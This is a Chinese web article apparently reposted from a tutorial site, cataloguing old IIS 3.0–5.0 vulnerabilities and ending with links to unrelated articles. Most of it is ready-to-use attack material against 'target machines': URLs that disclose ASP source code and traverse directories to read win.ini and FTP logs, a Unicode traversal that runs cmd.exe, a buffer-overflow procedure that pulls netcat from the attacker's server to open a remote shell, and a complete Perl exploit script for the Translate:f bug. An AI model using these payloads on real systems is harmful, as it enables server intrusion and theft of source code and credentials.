IIS漏洞整理大全

去年下半年关于IIS的漏洞层出不穷,鉴于目前IIS的广泛使用,觉得有必要把收集的资料加以总结一下。

1.介绍

  这里介绍的方法主要通过端口80来完成操作,具有很大的威胁性,因为作为网络服务器80端口总要打开的。如果想方便一些,下载一些WWW、CGI扫描器来辅助检查。

  而且要知道目标机器运行的是何种服务程序,你可以使用以下命令:

telnet <目标机> 80

GET HEAD / HTTP/1.0

就可以返回一些域名和WEB服务程序版本,如果有些服务器把WEB服务运行在8080,81,8000,8001口,你就TELNET相应的口上。

2.常见漏洞

(1)、Null.htw

  IIS如果运行了Index

Server就包含了一个通过Null.htw有关的漏洞,即服务器上不存在此.htw结尾的文件。这个漏洞会导致显示ASP脚本的源代码,

global.asa里面包含了用户帐户等敏感信息。如果攻击者提供特殊的URL请求给IIS就可以跳出虚拟目录的限制,进行逻辑分区和ROOT目录的访问。而这个"hit-highlighting"功能在Index

Server中没有充分防止各种类型文件的请求,所以导致攻击者访问服务器上的任意文件。Null.htw功能可以从用户输入中获得3个变量:

CiWebhitsfile

CiRestriction

CiHiliteType

  你可通过下列方法传递变量来获得如default.asp的源代码:

http://www.目标机.com/null.htw?CiWebhitsfile=/default.asp &

CiRestriction=none & &CiHiliteType=full其中不需要一个合法的.htw文件是因为虚拟文件已经存储在内存中了。

(2)、MDAC- 执行本地命令漏洞

  这个漏洞出现得比较早,但在全球范围内,可能还有好多IIS

WEB服务器存在这个漏洞,就像在今天,还有很多人在用Windows3.2一样。IIS的MDAC组件存在一个漏洞,可以导致攻击者远程执行目标系统的命令。主要核心问题是存在于RDSDatafactory,默认情况下,它允许远程命令发送到IIS服务器中,这命令会以设备用户的身份运行,在默认情况下是SYSTEM用户。我们可以通过以下办法测试本机是否存在这个漏洞:

c:\>nc -nw -w 2 <目标机> 80

GET /msadc/msadcs.dll HTTP

  如果你得到下面的信息:

application/x_varg

  就很有可能存在此漏洞且没有打上补丁,你可以使用rain forest

puppy网站的两个程序进行测(www.wiretrip.net/rfp)==>mdac.pl和msadc2.pl。

(3)、ASP Dot Bug

  这个漏洞出现得比较早了,是Lopht小组在1997年发现的缺陷,这个漏洞也是泄露ASP源代码给攻击者,一般在IIS3.0上存在此漏洞,在请求的URL结尾追加一个或者多个点导致泄露ASP源代码。http://www.目标机.com/sample.asp.

(4)、idc & .ida Bugs

  这个漏洞实际上类似ASP dot

漏洞,其能在IIS4.0上显示其WEB目录信息,很奇怪有些人还在IIS5.0上发现过此类漏洞,通过增加?idc?或者?ida?后缀到URL会导致IIS尝试允许通过数据库连接程序.DLL来运行.IDC,如果此.idc不存在,它就返回一些信息给客户端。

http://www.目标机.com/anything.idc 或者 anything.idq

(5)、+.htr Bug

  这个漏洞是由NSFOCUS发现的,对有些ASA和ASP追加+.htr的URL请求就会导致文件源代码的泄露:

http://www.目标机.com/global.asa+.htr

(6)、NT Site Server Adsamples 漏洞

  通过请求site.csc,一般保存在/adsamples/config/site.csc中,攻击者可能获得一些如数据库中的DSN,UID和PASS的一些信息,如:

http://www.目标机.com/adsamples/config/site.csc

(7)、IIS HACK

  有人发现了一个IIS4.0的缓冲溢出漏洞,可以允许用户上载程序,如上载netcat到目标服务器,并把cmd.exe绑定到80端口。这个缓冲溢出主要存在于.htr,.idc和.stm文件中,其对关于这些文件的URL请求没有对名字进行充分的边界检查,导致运行攻击者插入一些后门程序在系统中下载和执行程序。要检测这样的站点你需要两个文件iishack.exe,ncx.exe,你可以到站点www.technotronic.com中去下载,另外你还需要一台自己的WEB服务器,也可以是虚拟服务器哦。你现在你自己的WEB服务器上运行WEB服务程序并把ncx.exe放到你自己相应的目录下,然后使用iishack.exe来检查目标机器:

c:\>iishack.exe <目标机> 80 <你的WEB服务器>/ncx.exe

  然后你就使用netcat来连接你要检测的服务器:

c:\>nc <目标机> 80

  如果溢出点正确,你就可以看到目标机器的命令行提示,并且是远程管理权限。Codebrws.asp

& Showcode.asp

。Codebrws.asp和Showcode.asp在IIS4.0中是附带的看文件的程序,但不是默认安装的,这个查看器是在管理员允许查看样例文件作为联系的情况下安装的。但是,这个查看器并没有很好地限制所访问的文件,远程攻击者可以利用这个漏洞来查看目标机器上的任意文件内容,但要注意以下几点:

1.Codebrws.asp 和 Showcode.asp默认情况下不安装。

2.漏洞仅允许查看文件内容。

3.这个漏洞不能绕过WINDOWS NT的ACL控制列表的限制。

4.只允许同一分区下的文件可以被查看(所以把IIS目录和WINNT分区安装是个不错的方案,这样也可能比较好的防止最新的IIS5.0的unicode漏洞).

5,攻击者需要知道请求的文件名。

  例如你发现存在这个文件并符合上面的要求,你可以请求如下的命令:

http://www.目标机.com/iisamples/exair/howitworks/codebrws.asp?source=/

iisamples/exair/howitworks/codebrws.asp

你就可以查看到codebrws.asp的源代码了。

你也可以使用showcode.asp来查看文件:

http://www.目标机.com/msadc/samples/selector/showcode.asp?

source=/msadc/../../../../../winnt/win.ini

  当然你也可以查看一些FTP信息来获得其他的目标管理员经常使用的机器,或许其他的机器的安全性比WEB服务器差,如:

http://xxx.xxx.xxx.xxx/msadc/Samples/SELECTOR/showcode.asp?

source=/msadc/Samples/../../../../../winnt/system32/logfiles/MSFTPSVC1/ex000517.log

(8)、webhits.dll & .htw

  这个hit-highligting功能是由Index

Server提供的允许一个WEB用户在文档上highlighted(突出)其原始搜索的条目,这个文档的名字通过变量CiWebhitsfile传递给.htw文件,Webhits.dll是一个ISAPI应用程序来处理请求,打开文件并返回结果,当用户控制了CiWebhitsfile参数传递给.htw时,他们就可以请求任意文件,结果就是导致可以查看ASP源码和其他脚本文件内容。要了解你是否存在这个漏洞,你可以请求如下条目:

http://www.目标机.com/nosuchfile.htw

  如果你从服务器端获得如下信息:

format of the QUERY_STRING is invalid

这就表示你存在这个漏洞。

  这个问题主要就是webhits.dll关联了.htw文件的映射,所以你只要取消这个映射就能避免这个漏洞,你可以在你认为有漏洞的系统中搜索.htw文件,一般会发现如下的程序:

/iissamples/issamples/oop/qfullhit.htw

/iissamples/issamples/oop/qsumrhit.htw

/isssamples/exair/search/qfullhit.htw

/isssamples/exair/search/qsumrhit.htw

/isshelp/iss/misc/iirturnh.htw (这个一般为loopback使用)

  攻击者可以使用如下的方法来访问系统中文件的内容:

http://www.目标机.com/iissamples/issamples/oop/qfullhit.htw?

ciwebhitsfile=/../../winnt/win.ini&cirestriction=none&cihilitetype=full

  就会在有此漏洞系统中win.ini文件的内容。

(9)、ASP Alternate Data Streams(::$DATA)

  $DATA这个漏洞是在1998年中期公布的,$DATA是在NTFS文件系统中存储在文件里面的main

data

stream属性,通过建立一个特殊格式的URL,就可能使用IIS在浏览器中访问这个data stream(数据流),这样做也就显示了文件代码中这些data

stream(数据流)和任何文件所包含的数据代码。

  其中这个漏洞需要下面的几个限制,一个是要显示的这个文件需要保存在NTFS文件分区(幸好为了"安全"好多服务器设置了NTFS格式),第二是文件需要被ACL设置为全局可读。而且未授权用户需要知道要查看文件名的名字,WIN

NT中的IIS1.0, 2.0,

3.0和4.0都存在此问题。微软提供了一个IIS3.0和4.0的版本补丁,

要查看一些.asp文件的内容,你可以请求如下的URL:

  http://www.目标机.com/default.asp::$DATA

你就得到了源代码。你要了解下NTFS文件系统中的数据流问题,你或许可以看看这文章:

http://focus.silversand.net/newsite/skill/ntfs.txt

(10)、ISM.DLL 缓冲截断漏洞

  这个漏洞存在于IIS4.0和5.0中,允许攻击者查看任意文件内容和源代码。通过在文件

名后面追加近230个+或者? ?(这些表示空格)并追加?.htr?的特殊请求给IIS,会使IIS认为客户端请求的是?.htr?文件,而.htr文件的后缀映射到ISM.DLL

ISAPI应用程序,这样IIS就把这个.htr请求转交给这个DLL文件,然后ISM.DLL程序把传递过来的文件打开和执行,但在ISM.DLL

截断信息之前,缓冲区发送一个断开的 .Htr

并会延迟一段时间来返回一些你要打开的文件内容。可是要注意,除非 WEB

服务停止并重启过,否则这攻击只能有效执行一次。如果已经发送过一个 .htr

请求到机器上,那么这攻击会失效.它只能在 ISM.DLL 第一次装入内存时工作。

http://www.目标机.com/global.asa (...<=230)global.asa.htr

(11)、存在的一些暴力破解威胁.htr程序

  IIS4.0中包含一个严重漏洞就是允许远程用户攻击WEB服务器上的用户帐号,就是你的WEB服务器是通过NAT来转换地址的,还可以被攻击。每个IIS4.0安装的时候建立一个虚拟目录/iisadmpwd,这个目录包含多个.htr文件,匿名用户允许访问这些文件,这些文件刚好没有规定只限制在loopback

addr(127.0.0.1),请求这些文件就跳出对话框让你通过WEB来修改用户的帐号和密码。这个目录物理映射在下面的目录下:

c:\winnt\system32\inetsrv\iisadmpwd

Achg.htr

Aexp.htr

Aexp2.htr

Aexp2b.htr

Aexp3.htr

Aexp4.htr

Aexp4b.htr

Anot.htr

Anot3.htr

这样,攻击者可以通过暴力来猜测你的密码。如果你没有使用这个服务,请立即删除这个目录。

(12)、Translate:f Bug

  这个漏洞发布于2000年8月15号(www.securityfocus.com/bid/1578),其问题是存在OFFICE

2000和FRONTPAGE 2000Server

Extensions中的WebDAV中,当有人请求一个ASP/ASA后者其他任意脚本的时候在HTTP

GET加上Translate:f后缀,并在请求文件后面加/就会显示文件代码,当然在没有打WIN2K

SP1补丁为前提。这个是W2K的漏洞,但由于FP2000也安装在IIS4.0上,因此在IIS4.0上也有这个漏洞,你可而已使用下面的脚本来利用这个漏洞:

#############################

use IO::Socket; #

my ($port, $sock,$server); #

$size=0; #

#############################

#

$server="$ARGV[0]";

$s="$server";

$port="80";

$cm="$ARGV[1]";

&connect;

sub connect {

if ($#ARGV < 1) {

howto();

exit;

}

$ver="GET /$cm\ HTTP/1.0

Host: $server

Accept: */*

Translate: f

\n\n";

my($iaddr,$paddr,$proto);

$iaddr = inet_aton($server) || die "Error: $!";

$paddr = sockaddr_in($port, $iaddr) || die "Error: $!";

$proto = getprotobyname('tcp') || die "Error: $!";

socket(SOCK, PF_INET, SOCK_STREAM, $proto) || die "Error:

$!";

connect(SOCK, $paddr) || die "Error: $!";

send(SOCK, $ver, 0) || die "Can't to send packet: $!";

open(OUT, ">$server.txt");

print "Dumping $cm to $server.txt \n";

while() {

print OUT ;

}

sub howto {

print "type as follows: Trans.pl www.目标机.com codetoview.asp \n\n";

}

close OUT;

$n=0;

$type=2;

close(SOCK);

exit(1);

}

  你可以使用下面的方法来获得源代码:

Trasn.pl www.目标机.com default.asp

(13)、IIS存在的Unicode解析错误漏洞

  NSFOCUS安全小组发现微软IIS 4.0和IIS

5.0在Unicode字符解码的实现中存在一个安全漏洞,导致用户可以远程通过IIS执行任意命令。当IIS打开文件时,如果该文件名包含unicode字符,它会对其进行解码,如果用户提供一些特殊的编码,将导致IIS错误的打开或者执行某些web根目录以外的文件。

  你可以使用下面的方法利用这个漏洞:

(1)

如果系统包含某个可执行目录,就可能执行任意系统命令。下面的URL可能列出当前目录的内容:

http://www.目标机.com/scripts/..Á../winnt/system32/cmd.exe?/c+dir

(2) 利用这个漏洞查看系统文件内容也是可能的:

http://www.目标机.com/a.asp/..Á../..Á../winnt/win.ini

这个漏洞是针对中文操作平台,你也可以使用"À¯"或者"Áœ"来测试英文版本,原因就是编码不同。

(0)

相关推荐

  • IIS漏洞整理大全

    去年下半年关于IIS的漏洞层出不穷,鉴于目前IIS的广泛使用,觉得有必要把收集的资料加以总结一下. 1.介绍 这里介绍的方法主要通过端口80来完成操作,具有很大的威胁性,因为作为网络服务器80端口总要打开的.如果想方便一些,下载一些WWW.CGI扫描器来辅助检查. 而且要知道目标机器运行的是何种服务程序,你可以使用以下命令: telnet <目标机> 80 GET HEAD / HTTP/1.0 就可以返回一些域名和WEB服务程序版本,如果有些服务器把WEB服务运行在8080,81,8000,

  • Android手机App安全漏洞整理(小结)

    本文主要介绍了APP安全漏洞整理,分享给大家,具体如下: 1.源码安全漏洞 1.1 代码混淆漏洞 当前APK文件的安全性是非常令人堪忧的.APK运行环境依赖的文件/文件夹 res.DEX.主配文件Lib 只有简单的加密或者甚至没有任何加密.诸如apktool这类工具可轻易将其破解,再配合其他例如dex2jar.jd-gui等工具基本可以做到:源码暴露.资源文件暴露.主配文件篡改.核心SO库暴露.暴力破解恶意利用等.因此需要对安卓代码进行代码混淆. 代码混淆(Obfuscated code)亦称花

  • C语言编程入门必背的示例代码整理大全

    目录 一.C语言必背代码前言 二.一部分C语言必背代码 一.C语言必背代码前言 对于c语言来说,要记得东西其实不多,基本就是几个常用语句加一些关键字而已.你所看到的那些几千甚至上万行的代码,都是用这些语句和关键词来重复编写的.只是他们逻辑功能不一样,那如何快速的上手C语言代码,建议多看多写,下面是小编整理的C语言必背代码. 二.一部分C语言必背代码 1.输出9*9成法口诀,共9行9列,i控制行,j控制列. #include "stdio.h" main() {int i,j,resul

  • Email正则表达式日常整理大全

    说到正则表达式,网上有很多的通用的表达式,可是事实上说来,一般人的都 不愿意去拿来研究,就是拿来就直接用就行了.可是,事实上,可能有些时候,项目中或公司里的实际情况不一样,得要修改一下正则表达式的,根据实际情况来定制,这就需要我们来认真学习正则表达式的一些写法,拿来主义,在让我们享受丰富的网络共享资源的同时,也给我们带来了惰性,关于正则表达式的一些使用情况,我就不作多介绍,网上有很多的介绍..(http://www.jb51.net/article/72346.htm正则表达式的一些基本用法)

  • Mac系统下Webstorm快捷键整理大全

    前言 用Webstorm来调试Node代码简直太赞了,断点调试.属性方法快速等特性让我快速脱离了用Sublime text + node-inspector那种刀耕火种的痛苦状态,幸福指数嗖嗖嗖的就上来了~~~~ 不吹捧啦,但是做Node开发的话,建议珍爱生命,远离ST,使用Webstorm~ 欲善其功,必先利其器.我总是记不住WebStorm的快捷键.所以专门整理一下最常用的那几个快捷键,以方便这段时间来熟悉熟悉,提高效率. 一. 查找 command + g 在当前文件中查找 command

  • Git命令的简单整理大全

    前言 自动帮助记录每次文件的改动,同时协作永工作 学习git命令是充分必要的 集中式和分布式 分布式每个人电脑都是一个完整的版本库,也有类似中央服务器的电脑,但是这个服务器只是用来交互打架的修改没有它大家也一样干活,只是交互修改不方便而已 安装只要安装了xcode就可以了 仓库:里面文件修改,删除,添加都能被git追踪,认识时刻都能追踪历史或者将来某哥时刻还原只能追踪文本文件的改动 创建目录和查看路径 mkdir 创建目录   cd    进入到目录里面 pwd   用于显示当前的目录 cat 

  • Python中random函数的用法整理大全

    首先我们需要导入random模块 1. random.random(): 返回随机生成的一个浮点数,范围在[0,1)之间 import random print(random.random()) 2. random.uniform(a, b): 返回随机生成的一个浮点数,范围在[a, b)之间 import random print(random.uniform(1,5)) 3. random.randint(a,b):生成指定范围内的整数  import random print(random

  • Vue环境搭建报错整理大全

    目录 错1: 执行 cnpm install / npm install 报错如下 办法1:降低node.js版本 办法2:降低版本依旧报错,执行相关命令 报错2:core-js 缺失问题 报错3: Connection was aborted, errno 10053 报错4:npm ERR! git@github.com: Permission denied (publickey) 错误5:Error: Cannot find module 'webpack' 问题解决办法 错误6: wan

  • Vue常见报错整理大全(从此报错不害怕)

    目录 示例1(文件名/路径发生错误) 示例2(标签不完整) 示例3(error 'xxx' is not defind) 示例4(unknown mutation type: changeA) 示例5(Attribute name cannot contain U+0022 ("), U+0027 ('), and U+003C (<).) 示例6(TypeError:Assignment to constant variable.) 示例7(error 'check' is assign

  • IIS下ASP目录漏洞和IIS分号漏洞(;)的临时解决方法

    解决方法: 下载 银月服务器工具,使用工具->组件下载器下载ISAPI_Rewrite,解压出来. 把ISAPI_Rewrite中的ISAPI_Rewrite.dll添加为ISAPI,名字为ISAPI_Rewrite,这就是伪静态,做过的不用安装了 下载漏洞补丁包,即下图选择的项目,下载打开! 把ISAPI_Rewrite目录中的httpd.ini替换成补丁包中的httpd.ini. 或者保证ISAPI_Rewrite下面的httpd.ini有下图选择的两行规则也行!这样就能防止这两个IIS漏洞

随机推荐